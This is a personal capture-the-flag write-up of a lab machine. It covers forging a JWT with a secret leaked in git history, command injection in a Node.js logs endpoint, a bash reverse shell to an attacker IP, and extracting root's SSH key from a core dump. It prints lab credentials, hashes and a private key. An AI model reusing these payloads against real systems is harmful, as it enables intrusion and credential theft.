Path of Exploitation

foothold/user:
download file.zip from webserver ⟹ realize its a .git repo ⟹ git log to view commits and find old environment file with jwt secret ⟹ forge jwt token as admin ⟹ review more code to find hidden endpoint admin user can use (/logs) with command injection in files ⟹ shell on box
root:
find suid binary on box ⟹ crash program to get core dump ⟹ unpack coredump and read coredump to get ssh key ⟹ ssh in as root.

Creds

Username	Password	Description
---	gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE	jwt secret
Port	Service	Description
---	---	---
22	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80	http	nginx 1.18.0 (Ubuntu)
3000	http	Node.js (Express middleware)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

~~~
# Nmap 7.92 scan initiated Wed Dec 22 19:01:23 2021 as: nmap -sC -sV -vvv -oA nmap/Full -p- 10.10.11.120
Nmap scan report for 10.10.11.120
Host is up, received echo-reply ttl 63 (0.046s latency).
Scanned at 2021-12-22 19:01:25 EST for 54s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcm
GOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmr
Pbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
|   256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    syn-ack ttl 63 Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 22 19:02:19 2021 -- 1 IP address (1 host up) scanned in 55.83 seconds

```# Web Enumeration (port 80)

![[Pasted image 20211222174133.png]]

`wget http://10.10.11.120/download/files.zip`

## gobuster dir
```bash
/download             (Status: 301) [Size: 183] [--> /download/]
/docs                 (Status: 200) [Size: 20720]
/api                  (Status: 200) [Size: 93]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/.                    (Status: 301) [Size: 169] [--> /./]
/API                  (Status: 200) [Size: 93]
/Docs                 (Status: 200) [Size: 20720]
/DOCS                 (Status: 200) [Size: 20720]
/Api                  (Status: 200) [Size: 93]
~~~

don't know the secret can brute or look in source...

.env

```
kali@kali:~/files/local-web$ git show 67d8
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530
```

```
    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
```

gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE ⟹ 00 - Loot > Creds
also found

.env.swp

```
DB_CONNECT = 'mongodb://127.0.0.1:27017/authctf'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
```

ok can now sign the token and impersonate anyone..

```
kali@kali:~$ python3 /opt/jwt_tool/jwt_tool.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.PFJldSFVDrSoJ-Pg0HOxkGjxQ69gxVO2Kjn7ozw9Crg -
S hs256 -p gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.2                \______|             @ticarpi

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] _id = "6114654d77f9a54e00f05777"
[+] name = "theadmin"
[+] email = "root@dasith.works"
[+] iat = 1628727669    ==> TIMESTAMP = 2021-08-11 20:21:09 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

jwttool_4bb2b5755e49f479074b7da96a51feeb - Tampered token - HMAC Signing:
[+]
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo
```

curl to see i am admin

```
curl -i -s -k -X $'GET' \
    -H $'Host: 10.10.11.120' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -
H $'Connection: close' -H $'auth-token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo'
\
    $'http://10.10.11.120:3000/api/priv'
```

Burp request

```
GET /api/priv HTTP/1.1
Host: 10.10.11.120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
auth-token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo
```

more code review

```
kali@kali:~/files/local-web/routes$ git show e297

...[snip]...

+router.get('/logs', verifytoken, (req, res) => {
+    const file = req.query.file;
+    const userinfo = { name: req.user }
+    const name = userinfo.name.name;
+
+    if (name == 'theadmin'){
+        const getLogs = `git log --oneline ${file}`;
+        exec(getLogs, (err , output) =>{
+            if(err){
+                res.status(500).send(err);
+                return
+            }
+            res.json(output);
+        })
+    }
+    else{
+        res.json({
```

```
+            role: {
+                role: "you are normal user",
+                desc: userinfo.name.name
+            }
+        })
+    }
 })

...[snip]...
```

ok.. can probably inject at file and get code execution

req

```
GET /api/logs?file=;cat+/etc/passwd HTTP/1.1
Host: 10.10.11.120:3000
auth-token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

response

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 2016
ETag: W/"7e0-TxI0CGtvEP8B0VnY4RMMEuq1v9c"
Date: Thu, 23 Dec 2021 02:10:49 GMT
Connection: close

"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the
codes\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60
:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr
/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-
resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:10
6:111:TPM software
stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/va
r/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core
Dumper:/:/usr/sbin/nologin\ndasith:x:1000:1000:dasith:/home/dasith:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nmongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin\n"
```

rev shell

burpsuite

```
GET /api/logs?file=%3b/bin/bash+-c+'/bin/bash+-i+>%26+/dev/tcp/10.10.14.128/9001+0>%261' HTTP/1.1
Host: 10.10.11.120:3000
auth-token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

curl

```
curl -i -s -k -X $'GET' \
    -H $'Host: 10.10.11.120:3000' -H $'auth-token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.52W5mGLsIO2iiLpy3f1VkVavP4hOoWHxy5_0BDn9UKo'
-H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -
H $'Connection: close' \
    $'http://10.10.11.120:3000/api/logs?file=%3b/bin/bash+-c+\'/bin/bash+-i+>%26+/dev/tcp/10.10.14.128/9001+0>%261\''
```

Enumeration as Dasith

id & whoami

```
dasith@secret:~/local-web$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$ whoami
dasith
```

user.txt

```
4d12a2066a7a09f01ea1dfb6fee4a096
```

netstat -tulpn

```
dasith@secret:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::3000                 :::*                    LISTEN      1118/node /home/das
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
dasith@secret:~$ curl localhost:27017
It looks like you are trying to access MongoDB over HTTP on the native driver port.
```

MongoDB port 27017

```
dasith@secret:~$ mongo localhost
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017/localhost
Implicit session: session { "id" : UUID("cc6a5b9b-5f34-437b-af71-7e5bead01148") }
MongoDB server version: 3.6.8
Server has startup warnings:
2021-12-23T00:00:51.171+0000 I STORAGE  [initandlisten]
2021-12-23T00:00:51.171+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2021-12-23T00:00:51.171+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
2021-12-23T00:00:57.069+0000 I CONTROL  [initandlisten]
2021-12-23T00:00:57.069+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2021-12-23T00:00:57.069+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2021-12-23T00:00:57.069+0000 I CONTROL  [initandlisten]
> dbs
2021-12-23T02:25:38.882+0000 E QUERY    [thread1] ReferenceError: dbs is not defined :
@(shell):1:1
> show dbs
admin     0.000GB
auth-web  0.000GB
config    0.000GB
local     0.000GB
> use auth-web
switched to db auth-web
> show collections
users
> db.users.find()
{ "_id" : ObjectId("6131bf09c6c27d0b05c16691"), "name" : "theadmin", "email" : "admin@admins.com", "password" : "$2a$10$SJ8vlQEJYL2J673Xte6BNeMmhHBioLSn6/wqMz2DKjxwQzkModUei", "date" : ISODate("2021-09-
03T06:22:01.581Z"), "__v" : 0 }
{ "_id" : ObjectId("6131bfb7c6c27d0b05c16699"), "name" : "user222", "email" : "user@google.com", "password" : "$2a$10$WmuQwihUQkzSrRoYakQdI.5hdjo820LNxSfEYATaBoTa/QXJmEbDS", "date" : ISODate("2021-09-
03T06:24:55.832Z"), "__v" : 0 }
{ "_id" : ObjectId("6131d73387dee30378c66556"), "name" : "newuser", "email" : "root@dasith.works", "password" : "$2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAIVUlv2Z80lkvmlIUQW", "date" : ISODate("2021-09-
03T08:05:07.991Z"), "__v" : 0 }
{ "_id" : ObjectId("613904ae8a27cb040c65de17"), "name" : "dasith", "email" : "dasiths2v2@gmail.com", "password" : "$2a$10$S/GbYplKgIU4oFdTDsr2SeOJreht3UgIA0MdT7F50EtiBy7ymzFBO", "date" : ISODate("2021-09-
08T18:45:02.187Z"), "__v" : 0 }
{ "_id" : ObjectId("61c3c6e6b7126f045e57d82d"), "name" : "blah23", "email" : "root3@dasith.works", "password" : "$2a$10$dBARlxe4KZg106IvNRFGbOYOzbWpwwByadG2DPBpQkaue2Lre2JCK", "date" : ISODate("2021-12-
23T00:46:30.833Z"), "__v" : 0 }
{ "_id" : ObjectId("61c3d09db7126f045e57d833"), "name" : "SuperDuper", "email" : "test@gmail.com", "password" : "$2a$10$zsPlJ0NFTMNzulXdCkvaQeg5KGSgwsoCCOpwMcFZUNEfEeqfJnYXK", "date" : ISODate("2021-12-
23T01:27:57.765Z"), "__v" : 0 }
>
```

lets crack some hashes...
lets focus on theadmin and dasith
`kali@kali:~$ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt`
dasith:⟹ 00 - Loot > Creds
admin: ⟹ 00 - Loot > Creds
never cracked

Coredump

check ulimit

```
dasith@secret:/opt$ ulimit -c
unlimited
```

Dump Core

`./count`
enter in `/root/.ssh/id_rsa`
`ctrl+z` to background process
find process with `ps aux | grep count`
kill proccess with a SIGSEGV (invalid memory reference) `kill -11 <PID>` or `kill -BUS <PID>`
i tried a few different ones frst. -3, (SIGQUIT) or ctrl+\ was supposed to do it.... but didnt'..
bring process back to forground `fg`

```
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
dasith@secret:/opt$ ps aux | grep count
root         852  0.0  0.1 235676  7504 ?        Ssl  10:02   0:00 /usr/lib/accountsservice/accounts-daemon
dasith    775156  0.0  0.0   2488   528 pts/0    T    16:16   0:00 ./count
dasith    775163  0.0  0.0   6432   736 pts/0    S+   16:17   0:00 grep --color=auto count
dasith@secret:/opt$ kill -11 775156
dasith@secret:/opt$ fg
./count
Segmentation fault (core dumped)
```

Collect Core dump for processing

`cp /var/crash/_opt_count.1000.crash .` copy to working directory..(dev/shm)
run `apport-unpack` on the file and where you what it to unpack to(core)
cd into folder
grep for OPENSSH
Extract key, chmod 600 and login as root

```
dasith@secret:/dev/shm$ cp /var/crash/_opt_count.1000.crash .
dasith@secret:/dev/shm$ ls
multipath  _opt_count.1000.crash
dasith@secret:/dev/shm$ apport-unpack _opt_count.1000.crash core
dasith@secret:/dev/shm$ ls
core  multipath  _opt_count.1000.crash
dasith@secret:/dev/shm$ cd core
dasith@secret:/dev/shm/core$ ls
Architecture  DistroRelease        ProblemType  ProcEnviron  Signal
CoreDump      ExecutablePath       ProcCmdline  ProcMaps     Uname
Date          ExecutableTimestamp  ProcCwd      ProcStatus   UserGroups
```

```
dasith@secret:/dev/shm/core$ strings CoreDump | grep "BEGIN OPENSSH" -A 37
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3
```

```
KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+
7wNrxitkPrmuViWPGQCotBDCZmn4WNbNT0kcsfA+b4xB+am6tyDthqjfPJngROf0Z26lA1
xw0OmoCdyhvQ3azlbkZZ7EWeTtQ/EYcdYofa8/mbQ+amOb9YaqWGiBai69w0Hzf06lB8cx
8G+KbGPcN174a666dRwDFmbrd9nc9E2YGn5aUfMkvbaJoqdHRHGCN1rI78J7rPRaTC8aTu
BKexPVVXhBO6+e1htuO31rHMTHABt4+6K4wv7YvmXz3Ax4HIScfopVl7futnEaJPfHBdg2
5yXbi8lafKAGQHLZjD9vsyEi5wqoVOYalTXEXZwOrstp3Y93VKx4kGGBqovBKMtlRaic+Y
Tv0vTW3fis9d7aMqLpuuFMEHxTQPyor3+/aEHiLLAAAFiMxy1SzMctUsAAAAB3NzaC1yc2
EAAAGBAJ+sy5Zu0DhhmcrVAjt0jaUeb3Q38Tc5X5FMOJzMP4RZaUT2ikW4tylGbASsoKDr
85oc1mHLONd1AyalDFrPqPTsHqtL4sENUCZlcM76hYxTUsc1xFaI5qAnj8Pu8Da8YrZD65
rlYljxkAqLQQwmZp+FjWzU9JHLHwPm+MQfmpurcg7Yao3zyZ4ETn9GdupQNccNDpqAncob
0N2s5W5GWexFnk7UPxGHHWKH2vP5m0Pmpjm/WGqlhogWouvcNB839OpQfHMfBvimxj3Dde
+GuuunUcAxZm63fZ3PRNmBp+WlHzJL22iaKnR0RxgjdayO/Ce6z0WkwvGk7gSnsT1VV4QT
uvntYbbjt9axzExwAbePuiuML+2L5l89wMeByEnH6KVZe37rZxGiT3xwXYNucl24vJWnyg
BkBy2Yw/b7MhIucKqFTmGpU1xF2cDq7Lad2Pd1SseJBhgaqLwSjLZUWonPmE79L01t34rP
Xe2jKi6brhTBB8U0D8qK9/v2hB4iywAAAAMBAAEAAAGAGkWVDcBX1B8C7eOURXIM6DEUx3
t43cw71C1FV08n2D/Z2TXzVDtrL4hdt3srxq5r21yJTXfhd1nSVeZsHPjz5LCA71BCE997
44VnRTblCEyhXxOSpWZLA+jed691qJvgZfrQ5iB9yQKd344/+p7K3c5ckZ6MSvyvsrWrEq
Hcj2ZrEtQ62/ZTowM0Yy6V3EGsR373eyZUT++5su+CpF1A6GYgAPpdEiY4CIEv3lqgWFC3
4uJ/yrRHaVbIIaSOkuBi0h7Is562aoGp7/9Q3j/YUjKBtLvbvbNRxwM+sCWLasbK5xS7Vv
D569yMirw2xOibp3nHepmEJnYZKomzqmFsEvA1GbWiPdLCwsX7btbcp0tbjsD5dmAcU4nF
JZI1vtYUKoNrmkI5WtvCC8bBvA4BglXPSrrj1pGP9QPVdUVyOc6QKSbfomyefO2HQqne6z
y0N8QdAZ3dDzXfBlVfuPpdP8yqUnrVnzpL8U/gc1ljKcSEx262jXKHAG3mTTNKtooZAAAA
wQDPMrdvvNWrmiF9CSfTnc5v3TQfEDFCUCmtCEpTIQHhIxpiv+mocHjaPiBRnuKRPDsf81
ainyiXYooPZqUT2lBDtIdJbid6G7oLoVbx4xDJ7h4+U70rpMb/tWRBuM51v9ZXAlVUz14o
Kt+Rx9peAx7dEfTHNvfdauGJL6k3QyGo+90nQDripDIUPvE0sac1tFLrfvJHYHsYiS7hLM
dFu1uEJvusaIbslVQqpAqgX5Ht75rd0BZytTC9Dx3b71YYSdoAAADBANMZ5ELPuRUDb0Gh
mXSlMvZVJEvlBISUVNM2YC+6hxh2Mc/0Szh0060qZv9ub3DXCDXMrwR5o6mdKv/kshpaD4
Ml+fjgTzmOo/kTaWpKWcHmSrlCiMi1YqWUM6k9OCfr7UTTd7/uqkiYfLdCJGoWkehGGxep
lJpUUj34t0PD8eMFnlfV8oomTvruqx0wWp6EmiyT9zjs2vJ3zapp2HWuaSdv7s2aF3gibc
z04JxGYCePRKTBy/kth9VFsAJ3eQezpwAAAMEAwaLVktNNw+sG/Erdgt1i9/vttCwVVhw9
RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9
6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
```

`ssh -i root.id_rsa root@$IP`

id &whoami

```
root@secret:~# id
uid=0(root) gid=0(root) groups=0(root)
root@secret:~# whoami
root
```

root.txt

```
root@secret:~# cat root.txt
47872bff5c36f3ba68d66662147603ed
```

uname -a

```
root@secret:~# uname -a
Linux secret 5.4.0-89-generic #100-Ubuntu SMP Fri Sep 24 14:50:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```

/etc/shadow

```
root@secret:~# cat /etc/shadow
root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7:::

...[snip]..

dasith:$6$RM7seX/Mzkds2S1x$.vkOBt4kRfs/6JRApNqvzZ1zM6W1FK8kNKyoBOVSuZbrdlOw.vPj2D7VC0y0sz2Eg2z5rj.GdK2ApMBFynjmR/:18873:0:99999:7:::

...[snip]...
```